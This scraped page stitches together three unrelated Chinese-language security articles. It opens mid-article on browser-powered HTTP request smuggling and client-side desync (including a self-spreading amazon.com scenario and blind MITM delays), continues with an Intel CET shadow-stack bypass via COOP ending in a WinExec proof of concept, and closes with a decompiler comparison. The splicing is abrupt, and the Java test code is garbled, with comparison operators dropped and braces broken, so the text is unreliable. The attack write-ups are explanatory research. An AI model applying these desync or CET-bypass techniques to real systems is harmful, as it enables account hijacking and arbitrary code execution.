那麼，哪些前端實際上具有這種請求流？一個著名的前端是Amazon 的Application Load Balancer (ALB)，但還有一個額外的障礙。如果ALB 收到對部分請求的響應，它將拒絕重用連接。

40.png

幸運的是，這種機制中有一個固有的競爭條件。你可以通過延遲請求的後半部分來充分利用ALB 後面的Varnish，使其在後端超時的同時到達前端。

41.png

匹配超時在利用ALB 背後的Apache 時還有一個額外的複雜性，兩台服務器的默認超時時間都是60 秒。這就為發送請求的第二部分留下了極短的時間窗口。

我試圖通過發送一些被前端規範化的數據來解決這個問題，以便在不影響後端計時器的情況下重置前端的計時器。不幸的是，塊大小填充、塊擴展或TCP 重複/無序數據包都沒有達到這個目標。

最後，為了證明這個概念，我使用Turbo Intruder 發起了一次緩慢但持續的攻擊。 66個小時後，這個實驗最終成功了。

MITM 攻擊由於基於暫停的異步攻擊使用合法的HTTP 請求，人們很自然地想知道它們是否可以用來觸發客戶端異步。我探索了使瀏覽器在發出請求的中途暫停的選項，但儘管Streaming Fetch 聽起來很有希望，但它還沒有實現，最終測試失敗。

然而，有一種方法絕對可以延遲瀏覽器請求——主動MITM 攻擊。 TLS 旨在防止數據在傳輸過程中被解密或修改，但它是通過TCP 捆綁的，沒有什麼可以阻止攻擊者延遲整個數據包。這可以稱為盲目MITM 攻擊，因為它不依賴於解密任何流量。

攻擊流程與常規的客戶端異步攻擊非常相似。用戶訪問攻擊者控制的頁面，該頁面向目標應用程序發出一系列跨域請求。第一個HTTP 請求被故意填充到非常大，以至於操作系統將其拆分為多個TCP 數據包，從而使活動的MITM 能夠延遲最終數據包，從而觸發基於暫停的異步。由於存在填充，攻擊者只需根據數據包的大小就能識別出需要暫停的數據包。

42.png

我能夠使用默認配置和一個重定向規則成功地對一個獨立的基於apache的網站執行此攻擊：

43.png

從客戶端看，除了請求填充之外，它看起來像使用HEAD 小工具的常規客戶端異步：

44.png

在執行盲目MITM 的攻擊者係統上，我使用tc-NetEm 實現了延遲：

45.png

通過修改請求填充和數據包大小過濾器，我在目標瀏覽器上實現了大約90% 的成功率：

總結本文所涉及的主題和技術具有進一步研究的潛力：

1.使用瀏覽器發出的請求觸發客戶端異步的新方法；

2.一種基於暫停的服務器端異步漏洞的有效且可靠的檢測方法；

3.更多用於客戶端不同步攻擊的利用小工具；

4.使用CSD-chaining 的真實PoC；

5.一種需要MITM 來延遲瀏覽器請求的方法；

6.一種在HTPT/2 可用時強制瀏覽器使用HTTP/1 的方法；

緩解措施你可以通過使用HTTP/2 端到端來緩解本文中的大多數攻擊。 HTTP/2中也可能存在類似的漏洞，但可能性要小得多。我不建議前端支持HTTP/2，然後重寫HTTP/1.1請求來與後端通信。這確實緩解了客戶端異步攻擊，但它無法緩解服務器端基於暫停的攻擊，並且還引入了其他的威脅。

如果你的公司通過轉發代理路由員工的流量，請確保支持並啟用上游HTTP/2。注意，使用正向代理還引入了超出本文範圍的一系列額外的請求走私風險。

HTTP/1.1 的明文性質使它看起來很簡單，並使開發人員實現自己的服務器。不幸的是，即使是HTTP/1.1 的極簡實現也容易出現嚴重漏洞，特別是如果它支持連接重用或部署在單獨的前端之後。

HireHackking

60a7-article-browser-powered_desync_attacks_article.jpg

我將在本文介紹如何將受害者的Web 瀏覽器變成一個異步的傳播平台，通過暴露一個獨立的服務器網站和內部網絡來轉移請求走私的邊界。你將學習如何將跨域請求與服務器漏洞相結合，以攻擊瀏覽器連接池、安裝後門，並釋放異步攻擊。使用這些技術，我將攻擊包括Apache、Akamai、Varnish、Amazon 和多個Web VPN 在內的目標。

接下來我將分享一種結合瀏覽器特點和自定義開源工具的方法。除此之外，我還將介紹一種黑盒分析策略，該策略解決了長期存在的異步障礙，並揭示了一種極其有效的新穎異步觸發器。由此產生的後果將包括客戶端、服務器端甚至MITM 攻擊。最後，我將介紹修改HTTPS 以在Apache 上觸發MITM 驅動的異步。

本文使用的術語“瀏覽器驅動的異步攻擊”表示可以通過Web 瀏覽器觸發的所有異步攻擊。這包括所有客戶端異步攻擊，以及一些服務器端攻擊。

本文的示例都是取材於真實網站。本文中引用的所有漏洞均已報告給相關供應商，並已修補，除非另有說明。

連接狀態攻擊如果你沒有嘗試請求走私攻擊，很容易忘記HTTP 連接重用並將HTTP 請求視為獨立對象。畢竟，HTTP 應該是無狀態的。然而，下面的層（通常是TLS）只是一個字節流，很容易找到實現不佳的HTTP 服務器，假設通過單個連接發送的多個請求必須共享某些屬性。

在野外看到的主要漏洞是服務器假設通過給定TLS 連接發送的每個HTTP/1.1 請求都必須具有相同的預期目標和HTTP Host 標頭。由於網絡瀏覽器符合這個假設，所以在有人使用Burp Suite 之前一切都會正常工作。

我發現了兩個不同的場景，這個漏洞均造成了很大的安全後果。

第一個請求驗證反向代理通常使用Host 標頭來識別將每個請求路由到哪個後端服務器，並有一個允許人們訪問的主機白名單：

1.png

但是，我發現一些代理只對通過給定連接發送的第一個請求應用此白名單。這意味著攻擊者可以通過向允許的目的地發出一個請求來訪問內部網站，然後通過相同的連接向內部網站發出一個請求：

2.png

幸運的是，這種漏洞非常罕見。

第一個請求路由第一個請求路由是一個密切相關的漏洞，發生在前端使用第一個請求的Host 標頭來決定將請求路由到哪個後端，然後將來自同一客戶端連接的所有後續請求路由到同一後端連接。

這本身不是一個漏洞，但它使攻擊者能夠使用任意Host 標頭攻擊任何後端，因此它可以與Host 標頭攻擊鏈接在一起，例如密碼重置攻擊、Web 緩存攻擊以及獲得對其他虛擬主機的訪問權限。

在此示例中，我們希望使用“psres.net”的攻擊主機標頭攻擊example.com 的後端，以進行密碼重置攻擊，但前端不會路由我們的請求：

3.png

然而，通過對目標網站的有效請求開始我們的請求序列，我們可以成功到達後端：

4.png

希望能給受害者發一封帶有釣魚鏈接的郵件：

5.png

你可以使用HTTP Request 走私中的“連接狀態探測”選項掃描這兩個漏洞。

大多數HTTP 請求走私攻擊可以描述如下：

發送一個長度不明確的HTTP 請求，使前端服務器與後端對消息的結束位置產生分歧，從而將惡意前綴應用於下一個請求。此分歧通常是通過混淆的傳輸編碼標頭來實現的。

該漏洞是由以下HTTP/2請求觸發的，該請求沒有使用任何混淆或違反任何RFC。甚至對於長度沒有任何歧義，因為HTTP/2 在幀層中有一個內置的長度字段：

6.png

此請求觸發了來自運行AWS Application Load Balancer (ALB) 作為其前端的各種網站的非常可疑的間歇性400 漏洞請求響應。調查顯示，ALB在將請求降級為HTTP/1.1轉發到後端時，添加了一個“Transfer-Encoding: chunked”標頭，而沒有對消息正文進行任何更改：

7.png

我只需要提供一個有效的被chunk對象：

8.png

這是一個發現漏洞的完美示例，它讓你回溯實際發生的情況和原因。這個請求只有一個不尋常的地方，它沒有Content-Length (CL) 標頭。由於前面提到的內置長度字段，在HTTP/2 中省略CL 是明確可接受的。然而，瀏覽器總是發送一個CL，所以服務器顯然不會期望沒有CL的請求。

檢測連接鎖定的CL.TE有了這兩個經驗教訓，我決定解決我去年在HTTP/2 研究中強調的一個未解決的問題，連接鎖定HTTP/1.1 請求走私漏洞的通用檢測。連接鎖定是指前端為與客戶端建立的每個連接創建一個到後端的新連接的常見行為。這使得直接的跨用戶攻擊幾乎不可能，但仍然留下了其他攻擊途徑。

要識別此漏洞，你需要通過單個連接發送“攻擊者”和“受害者”請求，但這會產生大量誤報，因為服務器行為無法與稱為HTTP管道的常見無害特性區別開來。例如，給定以下CL.TE 攻擊的請求/響應序列，你無法判斷目標是否易受攻擊：

9.png

HTTP 管道在Burp Repeater 中也可見，它通常被誤認為是真正的請求走私：

10.png

你可以通過將requestsPerConnection 設置從1 增加到自己在Turbo Intruder 中的測試，這只是要做好誤報的準備。

我浪費了很多時間試圖調整請求來解決這個問題。但事實證明，上面的響應不能證明存在漏洞，並且解決方案立刻就出現了：

從上面的響應序列可以看出，由於隨後的404 響應，後端正在使用傳輸編碼標頭解析請求。但是，你無法判斷前端是否使用請求的Content-Length ，並因此易受攻擊，或者是否安全地將其視為許多chunk，並假設橙色數據已通過管道傳輸。

要排除管道的可能性並證明目標確實易受攻擊，你只需在使用0\r\n\r\n 完成chunk處理請求後暫停並嘗試提前讀取。如果服務器在你的讀取嘗試期間做出響應，則表明前端認為該消息還是完整的，因此必須將其安全地分割成很多小塊：

11.png

如果你的讀取嘗試被暫停，這表明前端正在等待消息完成，因此必須使用Content-Length，從而使其易受攻擊：

12.png

這種技術也可以很容易地適應TE.CL 漏洞。將其集成到HTTP Request 走私中很快發現了一個在Barracuda WAF後面運行IIS 的網站，該網站容易受到傳輸編碼的影響。有趣的是，修復這個漏洞的更新已經出現了，但它是作為一種投機性的修復措施來實現的，所以它沒有被標記為安全版本，攻擊設備也沒有安裝它。

CL.0 瀏覽器兼容的異步雖然原先將另一個網站標記為最初看起來像連接鎖定的TE.CL 漏洞。但是，服務器沒有按預期響應我的手動探測和讀取。當我嘗試簡化請求時，我發現傳輸編碼標頭實際上被前端和後端完全忽略了。這意味著我可以完全利用它，發起攻擊：

13.png

前端使用的是Content-Length，但後端顯然完全忽略了它。結果，後端將正文作為第二個請求的方法的開始。忽略CL等同於將其視為值為0，因此這是一個CL.0異步，這是一種已知但較少探索的攻擊類。

14.png

關於此漏洞的第二個也是更重要的一點是，它是由一個完全有效的、符合規範的HTTP 請求觸發的。這意味著前端防禦它的機會為零，甚至可以由瀏覽器觸發。

攻擊是可能的，因為後端服務器根本不會接收到POST 請求。

amazon.com 上的H2.0對CL.0/H2.0 異步漏洞實施粗略掃描檢查後發現，它們影響了包括amazon.com 在內的眾多網站，亞馬遜網站忽略了發送到/b/的請求的CL：

15.png

我通過創建一個簡單的概念證明(PoC) 來確認此漏洞，該概念將隨機實時用戶的完整請求（包括身份驗證令牌）存儲在我的清單中：

16.png

在我向亞馬遜報告此事後，我意識到我還是錯過了一個危害更大的漏洞。攻擊請求非常普通，我可以讓任何人的網絡瀏覽器使用fetch() 發出它。通過在亞馬遜上使用HEAD 技術創建一個XSS 小工具並在受害者的瀏覽器中執行JavaScript，我可以讓每個受攻擊的受害者自己重新發起攻擊，並將其傳播給其他人。這樣就會產生一個異步攻擊，一種自我複制的攻擊，利用受害者在沒有用戶交互的情況下發起的攻擊，迅速利用亞馬遜上的每個活躍用戶。

我不建議在你的工作系統上嘗試此操作，但在暫存環境中嘗試可能會很有趣。

客戶端異步傳統的異步攻擊利用的是前端和後端服務器之間的連接，因此在不使用前端/後端架構的網站上是不可能的。從現在開始，我將把它稱為服務器端異步。大多數服務器端異步只能由發出格式漏洞的請求的自定義HTTP 客戶端觸發，但是，正如我們剛剛在amazon.com 上看到的，有時可以創建由瀏覽器驅動的服務器端異步。

瀏覽器導致異步的能力會引發一類全新的威脅，我將其稱為客戶端異步(client-side desync，CSD)，其中異步發生在瀏覽器和前端服務器之間。這使得可以利用獨立的服務器網站，這很有價值，因為它們通常在HTTP 解析方面非常糟糕。

CSD 攻擊始於受害者訪問的感染網站，然後讓他們的瀏覽器向易受攻擊的網站發送兩個跨域請求。第一個請求的目的是使瀏覽器的連接異步，並使第二個請求觸發有害響應，通常使攻擊者控制受害者的帳戶：

17.png

攻擊方法在嘗試檢測和利用客戶端異步漏洞時，你可以重用來自服務器端異步攻擊的許多概念。主要區別在於，整個漏洞利用序列都發生在受害者的網絡瀏覽器中，這個環境比專用黑客工具更加複雜和不受控制。這帶來了一些新的挑戰，這給我在研究這項技術時帶來了很大的阻礙。為此，我開發了以下方法：

18.png

探測第一步是識別你的CSD 矢量。這個基本原語是漏洞的核心，也是構建漏洞利用的平台。我們已經在HTTP Request 走私和Burp Scanner 中實現了對這些的自動檢測，但是了解如何手動進行檢測仍然很有價值。

CSD 向量是具有兩個關鍵屬性的HTTP 請求。

首先，服務器必須忽略請求的Content-Length (CL)。這種情況通常會發生，因為請求要么觸發了服務器錯誤，要么服務器根本不期望向所選端點發出POST請求。嘗試針對靜態文件和服務器級重定向，並通過超長URL 和/%2e%2e 等半格式錯誤觸發漏洞。

其次，請求必須在web瀏覽器的跨域觸發。瀏覽器嚴重限制了對跨域請求的控制，因此你對標頭的控制有限，如果你的請求有正文，則需要使用HTTP POST 方法。最終，你只控制URL，加上一些零星的結尾，如Referer 標頭、正文和Content-Type 的後半部分：

微信截图_20220829140500.png

現在我們已經編寫了攻擊請求，我們需要檢查服務器是否忽略了CL。作為簡單的第一步，使用超長的CL 發出請求並查看服務器是否仍然回复：

20.png

這是有希望的，但不幸的是，一些安全服務器無需等待正文即可響應，因此你會遇到一些誤報。其他服務器沒有正確處理CL，而是在響應後立即關閉每個連接，使它們無法被利用。要過濾掉這些，請在同一連接下發送兩個請求，並查找第一個請求的正文影響對第二個的響應：

21.png

要在Burp Suite 中對此進行測試，將兩個請求放入Repeater中的一個標籤組，然後使用單連接發送序列。你還可以在Turbo Intruder 中通過禁用管道並將concurrentConnections 和requestsPerConnection 分別設置為1 和100 來實現此目的。

如果可行，請嘗試更改正文並確認第二個響應按預期更改。這個簡單的步驟旨在確認你對正在發生的事情的心理模型與現實相符。我個人在運行Citrix Web VPN 的系統上浪費了很多時間，只是意識到它只是為發送到某個端點的每個請求發出兩個HTTP 響應。

最後，重要的是要注意目標網站是否支持HTTP/2。 CSD 攻擊通常利用HTTP/1.1 連接重用，並且Web 瀏覽器更喜歡盡可能使用HTTP/2，因此如果目標網站支持HTTP/2，你的攻擊不太可能起作用。有一個例外；一些轉發代理不支持HTTP/2，因此你可以利用任何使用它們的人。這包括公司代理、某些VPN 甚至一些安全工具。

確認現在我們已經找到了CSD 向量，我們需要通過在真實瀏覽器中復制行為來排除任何潛在的漏洞。我推薦使用Chrome，因為它擁有創造CSD漏洞的最佳開發工具。

首先，選擇一個網站來發起攻擊。此網站必須通過HTTPS 訪問，並且位於與目標不同的域中。

接下來，確保你沒有配置代理，然後瀏覽到你的攻擊網站。打開開發人員工具並切換到網絡選項卡。為了幫助調試以後可能出現的問題，我建議進行以下調整：

選擇“保留日誌”複選框。

右鍵點擊列標題並啟用“連接ID”列。

切換到開發人員控制台並使用fetch()執行JavaScript來複製攻擊序列。如下所示：

22.png

我已將獲取模式設置為“no-cors”以確保Chrome 在“網絡”選項卡中顯示連接ID。我還設置了憑據：“包含”，因為Chrome 有兩個獨立的連接池，一個用於帶有cookie 的請求，一個用於不帶cookie 的請求。你通常會想要利用導航，並且那些使用“with-cookies”池。

執行此操作時，你應該在Network 選項卡中看到兩個具有相同連接ID 的請求，第二個應該觸發404：

23.png

如果這如預期的那樣工作，那麼恭喜你，你已經發現自己的客戶端不同步了！

探索過程現在我們已經確認了客戶端異步，下一步就是找到一個小工具來利用它。在Network選項卡中意外觸發404可能會給一些人留下深刻印象，但它不太可能產生任何用戶密碼或獎勵。

至此，我們已經確定我們可以攻擊受害者瀏覽器的連接池，並對我們選擇的HTTP 請求應用任意前綴。這是一個非常強大的原語，它提供了三種廣泛的攻擊途徑。

存儲在檢索位置一種選擇是識別目標網站上允許你存儲文本數據的功能，並編寫前綴，以便受害者的cookie、身份驗證標頭或密碼最終存儲在你可以檢索它們的位置。這種攻擊流程的工作原理與服務器端請求走私幾乎相同，所以我不會詳述。

Chainpivot下一個選項是全新的，由受害者瀏覽器中的新攻擊平台提供。

在正常情況下，很多類型的服務器端攻擊只能由直接訪問目標網站的攻擊者發起，因為它們依賴於瀏覽器拒絕發送的HTTP 請求。這幾乎包括了所有涉及篡改HTTP報頭的攻擊——Web 緩存攻擊、大多數服務器端請求走私、主機標頭攻擊、基於用戶代理的SQLi 以及許多其他攻擊。

例如，不可能讓其他人的瀏覽器在User-Agent 標頭中使用log4shell 有效負載發出以下請求：

24.png

CSD 漏洞為這些針對網站的攻擊打開了大門，這些網站由於位於受信任的內部網或隱藏在基於IP 的限制之後而受到保護。例如，如果intranet.example.com 易受CSD 攻擊，你可以使用以下請求達到相同的效果，可以在瀏覽器中使用fetch() 觸發該請求：

HireHackking

robbery.png

雖然數據執行保護（DEP）旨在阻止來自特定內存區域的純代碼注入攻擊，但道高一尺魔高一丈，攻擊者已經不再注入整個代碼的有效負載了，而是重新利用DEP允許的內存頁面中的多個代碼塊，稱為ROPgadget。這些代碼塊取自目標應用程序中現有的代碼，並鏈接在一起，以形成所需的攻擊者有效負載，或僅按頁禁用DEP，以允許運行現有代碼有效負載。

為了永久阻止ROP攻擊，Intel開發了一種新的硬件強制控制流完整性緩解措施，稱為控制強制技術（CET），大約兩年前首次在Windows系統上發布。

我們會在本文中簡要介紹CFI緩解措施的工作原理，包括CET，以及如何利用Counterfeit Object-Oriented Programming (COOP) 在最新Windows版本上有效繞過Intel CET。

Forward-Edge和Backward-EdgeCFI控制流完整性機制可以分為兩大類：Forward-Edge和Backward-Edge。

與Microsoft CFG4一樣，Forward-EdgeCFI通過使用經過驗證的函數地址來保護間接函數調用。例如，如果我們用ROPgadget地址重寫CALL [rax]指令中解引用的指針，CFG將通過發出異常來阻止我們的攻擊。

相反，像Intel的CET5這樣的Backward-EdgeCFI通過將函數的返回地址與存儲在Shadow Stack上的以前保存的地址版本進行比較來保護函數的返回地址。如果原始返回地址在內存被攻擊期間被重寫了，則地址對照（ address comparison）將不可避免地失敗，應用程序將被終止。考慮到基於ROP的攻擊在沒有“CALL”指令的情況下執行“RET”指令，運行線程的堆棧和影子堆棧（shadow stack ）值不匹配，因此像CET這樣的Backward-EdgeCFI有效地阻止了這種攻擊技術。

Intel CET旨在通過間接分支跟踪（IBT）通過影子堆棧和COP/JOP緩解ROP攻擊。然而，由於後一種技術尚未在Windows上實現，因此在本文中，我們將把“Intel CET”作為僅啟用影子堆棧的實現。

CET當前的實現方式非常無效，因為渲染器進程通常會被利用。儘管CET在瀏覽器上還沒有得到廣泛的執行，但我們應該期待它在未來的每一個進程中都得到執行。

偽造對象Felix Schuster在2015年提出了一種名為偽面向對象編程（COOP）的新代碼重用技術。不過該技術尚未在野外或公開利用被發現。我們寫這篇博文的目的是試圖利用這種理論方法，並在概念驗證中加以實現，以繞過Intel CET。

該技術背後的主要思想是偽造，即用攻擊者控制的有效負載在內存中生成新的對象，並通過目標應用程序或加載庫中已經存在的虛擬函數將它們鏈接在一起。

偽對像中包含的每個虛擬函數稱為vfgadget，負責執行一個小任務。與ROP類似，vfgadget可以執行諸如將值填充到寄存器中之類的任務。然而，當組合在一起時，多個vfgadget可以執行更高級的操作。

由於目前沒有專門的工具可以發現vfgadget，所以可以通過自定義腳本(如idpython)找到它們，使用類似於ROP gadget發現的過程。

由於vfgadget是從CFG有效函數池中選取的，我們可以將它們標記為合法的，一旦我們劫持了其中一個函數的間接調用，它們的執行就不會被CFG阻止。

此外，一個有趣的推論是Intel CET不會被觸發，因為我們不會在順序調用vfgadget的過程中損壞任何函數返回地址。

一個典型的COOP有效載荷從一個充當COOP主要功能的基本vfgadget開始。我們在本文稱之為Looper。一旦攻擊者在內存中集成了偽造對象，Looper vfgadget就會遍歷由攻擊者精心安排的其他vfgadget數組，這些vfgadget將被逐個調用。通過以這種方式對齊偽對像中的vfgadget，我們將能夠以可控的方式調用有效的虛擬函數。

Looper運行後，它可以調用其他負責執行特定操作的vfgadget，如Argument Loaders Invoker和Collector。這些vfgadget將定期存儲在Looper訪問的數組中。

Argument Loader vfgadget通過將值加載到給定寄存器中來填充該寄存器。要加載的值將存儲在偽對像中，位於假對像開始處的偏移位置。

一旦寄存器被一個或多個參數加載器填充，就可以調用Invoker vfgadget來簡單地執行目標API的函數指針。

Collector是一種gadget，用於檢索寄存器中已存在的值，並將其保存回攻擊者的偽造對象即作為從調用的API返回的值。

下圖總結了迄今為止討論的COOP攻擊策略。

1.png

COOP攻擊流

我們可以根據不同的vfgadget的可用性和想要執行的API來安排和混合它們。

為了更好地理解COOP攻擊，讓我們從分析主vfgadget Looper開始。以下彙編代碼提供了Looper COOP vfgadget的簡化版本：

2.png

Looper Gadget相關的ASM代碼

在第一行中，RCX持有this9指針，我們將偽對象的開頭加載到RBX中，該偽對象位於RCX的偏移量0x40處。由於偽對像中的所有項目都將以偏離此指針的偏移量為準，因此我們需要確保在劫持程序流之前保存其值（即通過破壞vtable）。

然後，COOP有效負載基址被解引用到RAX中，RAX指向被調用的第一個vfgadget。一旦調用返回，一個新的vfgadget將從前一個gadget的偏移量0x20處加載，如果RBX的內容不為零，則會進行新的循環迭代。

當在內存中寫入偽造對象時，我們需要預先對齊每個vfgadget以匹配Looper偏移量，類似於下面的佈局：

3.png

內存中的COOP緩衝區

這樣，00000227`26cd8900是COOP有效負載的基址，它存儲在‘this’指針（RCX）的偏移量0x40處。從前面的代碼清單中，我們注意到在_loopstart例程的第一行，指針被解引用到RAX中，而RAX又指向第一個vfgadget。在下一次循環迭代中，Looper通過在前一個循環的偏移量0x20處加載指針來重複相同的任務，並最終調用第二個vfgadget。

當利用真實的目標瀏覽器時，建議依賴Looper vfgadget，因為它比其他vfgadget提供了更多的控制和穩定性。但是，為了簡潔起見，我們在編寫易受攻擊的應用程序時只使用了一個Invoker vfgadget，它只接受一個參數。

在介紹了COOP的基本理論之後，讓我們繼續開發一個由CET編譯的概念驗證應用程序，該應用程序是我們為展示COOP攻擊而開發的。

與COOP繞過CET影子堆棧我們編寫的易受攻擊的應用程序是用CET和CFG以及默認啟用的DEP編譯的。

首先，為了驗證CET是否真的被強制執行，我們在printf上放置一個斷點，檢查調用堆棧，覆蓋返回地址並恢復執行。

4.png

驗證CET的執行

當收到一個涉及無效返回地址的Shadow Stack異常提示，就代表CET被啟用了。

由於CET是一種硬件強制緩解，為了觸發上述漏洞，我們至少需要一個英特爾虎湖( Tiger Lake )十一代酷睿CPU。

為了模擬瀏覽器漏洞，我們可以利用執行應用程序時自動觸發的應用程序中的類型混淆漏洞來獲得RIP控制。

當我們點擊該漏洞的觸發器時，vtable指針會被我們的輸入損壞，導致我們可以控制的間接調用。然後我們劫持vtable，使其指向第一個（也是唯一一個）vfgadget所在的COOP緩衝區。如上所述，為了簡潔起見，我們沒有使用帶有嵌套vfgadget的Looper，而是選擇使用一個同時具有Invoker和Argument Loader組件的gadget。

作為該漏洞自動利用的一部分，為了獲取vfgadget的‘this’指針，我們洩漏了堆棧指針，並將‘this’指針作為堆棧的靜態偏移量進行檢索。

一旦我們獲得了‘this’指針地址，我們就準備好要調用的WindowsAPI的地址及其參數。這是通過在偽對象內以所需偏移量寫入Windows API地址和參數來實現的。

在更詳細地研究COOP有效負載之前，讓我們先通過不帶任何參數運行PoC來理解它的語法。

5.png

獲取PoC的語法

應用程序接受四個參數：一個指向偽造對象（COOP）緩衝區的指針、vfgadget地址、Windows API地址及其參數。該助手顯示了兩個簡單的用例，但可以將其擴展為調用任何CFG允許的API（如果應用程序是用它編譯的）。

由於Windows DLL將在隨機基址加載，因此需要預先計算所需的API地址。

讓我們首先檢查與vfgadget相關的對象的C++代碼，然後從編譯的二進製文件探索其相應的程序集：

6.png

我們從中派生vfgadget的' trigger '方法

項目中的OffSec類包含一個觸發器方法，它充當一個C風格的函數指針，我們可以使用它來調用任何我們喜歡的API。然後，在主程序例程中實例化“OffSec”類，以便將其與方法一起加載到內存中。

仔細查看反彙編程序中的Invoker可以發現一些有趣的方面。

7.png

調用程序vfgadget

從第二行到第四行，RCX引用的‘this’指針首先存儲在堆棧中，然後移動到RAX中。接下來，從RAX偏移量0x10處的值被解引用並移動到RAX中。此值將是駐留在偽對像中的API函數指針。然後，在第7行和第8行，第一個函數參數從‘this’指針偏移量0x8處解引用，並移到RCX中。

我們很快就會發現，一旦我們從命令行提交了參數，易受攻擊的應用程序就會處理這些偏移。

在介紹了攻擊鏈的主要構建塊之後，讓我們嘗試通過傳遞四個參數來運行PoC，以獲得代碼執行：

8.png

運行帶有所有參數的PoC應用程序

通過上述命令，我們提供了以下參數：00001e000000作為偽對象的存儲緩衝區，5086014001000000作為Invoker vfgadget，40610fecfb7f0000是WinExec內存地址。作為最後一個參數，我們傳遞WinExec字符串參數。請注意，所有內存地址都是以little-endian格式傳遞的。

一旦啟動，應用程序立即停止，允許我們將調試器附加到它。在這樣做之前，我們啟動Process Explorer以驗證二進製文件實際上在啟用Intel CET的情況下運行。

9.png

驗證是否已使用Process Explorer啟用CET

在“堆棧保護”欄下，Process Explorer確認僅對CET兼容模塊強制執行CET，這意味著將對使用CET編譯的任何模塊強制執行緩解。附加調試器後，我們將斷點放置到主函數中唯一的間接調用，然後繼續執行。

10.png

間接調用時中斷

我們在main+0x3d2處放置了一個斷點，並驗證了在該地址確實有一個間接調用。接下來，我們將轉儲位於靜態地址0x1e0000的偽造對象的內容，該地址包含指向位於0000000 1400186a0的vfgadget的指針。

在main+0x3d2是類型混淆錯誤引發的地方，允許我們控制RIP。一旦到達斷點，我們就檢查駐留在COOP緩衝區中的值，它應該是第一個Invoker vfgadget。我們讓應用程序繼續運行，並驗證我們確實達到了斷點。

11.png

登錄第一個COOP vfgadget

在跟踪到CFG ldrpdispatchusercalltarget例程之後，我們跳轉到Invoker vfgadget ' OffSec:trigger '，證明我們已經控制了程序的執行流。然後我們繼續在vfgadget中進行跟踪：

12.png

將‘this’ 指針移動到RAX中

在上面的清單中，Invoker首先將‘this’指針從RCX保存到堆棧中，我們還驗證它是否指向COOP緩衝區的底部。在最後一條指令中，‘this’ 指針被加載到RAX中，RAX將用作調用API及其參數的引用：

13.png

通過‘this’ 指針加載WinExec參數

首先，在偏移量0x10處，我們可以看到WinExec地址被加載到RAX中，然後，在三條指令之後，命令參數被檢索到偏移量0x8處。

如果執行繼續，我們將再次調用LdrpDispatchUserCallTarget，它依次將執行分派給WinExec。

14.png

成功調用WinExec

這就完成了我們的簡單概念證明，我們介紹了通過調用CFG允許的函數，同時避免損壞任何返回地址，可以繞過Intel CET Shadow Stack並通過COOP攻擊獲得任意代碼執行。

此PoC應用程序的Visual Studio項目可以在這個URL中找到。

總結Intel CET提供了另一種強大的防禦機制，儘管如此，攻擊者可以採用新的攻擊途徑，如COOP來繞過這種緩解措施。

HireHackking

前言本次測試對比是為了呈現incinerator與PNFSofteware出品的JEB以及國內出品GDA在Android逆向工程能力的對比，從而讓大家更好更直觀的了解相關的詳細信息

本次測試對比的產品信息如下：

Incinerator： 1.0.0

JEB：3.19.1.202005071620

GDA：3.9.0

注：文章編寫日期與發佈時間有一定時間間隔，所以以下內容並不代表各產品的後續性能指標。

反編譯器對循環結構的還原能力測試Test1第一個測試中，設計了循環頭和鎖節點都為二路條件循環結構，為了測試循環結構化分析能力，多嵌套了幾個if語句（代碼標號為基本塊號）。程序簡單如下：

publicvoidtest1(inty,inta){

while(y0){

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

}

}

流程图.png

編寫testdemo將代碼段生成apk後，並分別使用JEB、GDA、Incinerator來進行反編譯操作，從而進行代碼可讀性和語義準確性上的對比，如下圖所示：

95f762e41272c0aa3a7fe3914c2bdf56

test1

通過上述對比可以看出在語義準確性上，JEB發生了語義錯誤，在a 100時，丟失了a *=5的代碼塊，Incinerator與GDA保持了語義的準確性。

在代碼可讀性上，三者相差不大可讀性都很好。 Incinerator在if-else上做了相應的優化，可讀性略有提升。

在代碼還原度上，Incinerator做了對應優化，GDA重複聲明了a、y變量，其他方面最為接近源碼。而JEB存在代碼塊丟失。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB×高中GDA高高Test2接下來看看他們對雙層循環的結構化分析的能力，設計一個雙層循環，在內層循環break出外層循環，實際上基本塊5即if(a 10)，不僅會是內存循環的鎖節點，也會是外層循環的鎖節點。並且該鎖節點為二路條件節點，其一個分支路徑回到內層循環，另外一個分支結構回到外層循環。一般對循環結構算法都是循環頭-鎖節點一一對應，因此處理過程中可能會復雜化該類結構。代碼實現非常簡單如下：

publicvoidtest2(inty,inta){

while(y0){

while(a0){

if(a10){

break;

}

}

}

}

attachBaseContext(this);

}重新編譯apk後，再進行反編譯後，如下圖所示：

f61654c8fad1346041bba769daa7b737

test2

通過上述對比可以看出在語義準確性上，Incinerator、JEB保持了語義的準確性，都識別除了雙重循環，GDA僅有函數聲明，丟失了整個函數的代碼塊。

在代碼可讀性上，Incinerator優化了if-else組合，JEB在if中加入continue省略else語句，兩者可讀性都很好。

在代碼還原度上，Incinerator、JEB除了各自在if-else上的優化，還原度都很高。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test3這一段代碼在退出循環的”if(a10)”語句中內嵌了另外一個if語句，這會導致內層循環的鎖節點發生變化，並且給內層循環添加了一個跟隨節點，另外代碼做了稍稍的改動。如下：

publicvoidtest3(inty,inta){

while(y0){

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

this.attachBaseContext(this);

}

}繼續編譯成apk，再進行反編譯操作，如下圖所示：

8dd35acc6d19712de616aed4a9777f32

test3

通過對比可以看出在語義準確性上，Incinerator、JEB仍然保持了語義的準確性，GDA重複聲明了a、y變量，並且繼續丟失函數內部的代碼塊。

在代碼可讀性上，Incinerator、JEB保持很好的代碼可讀性，JEB使用了continue來分割嵌套的if。

在代碼還原度上，Incinerator最為接近源碼，JEB改為使用continue來分割嵌套的if。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test4在內層循環的第一個if-else結構上添加一個後隨節點，並且最後break出內層循環到外層循環。並且將a=a*5語句後的break改成continue。代碼如下：

publicvoidtest4(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}同樣編譯成apk後再反編譯，如下圖所示：

6002ea5b38852a4bf5870e1aee4ad462

test4

通過上述對比可以看出

在語義準確性上，Incinerator在a *=5; 後面丟失了continue，在y *=a; 後面丟失了退出循環的break；JEB保持了語義的正確性；GDA重複聲明變量，也丟失了函數內的代碼塊。

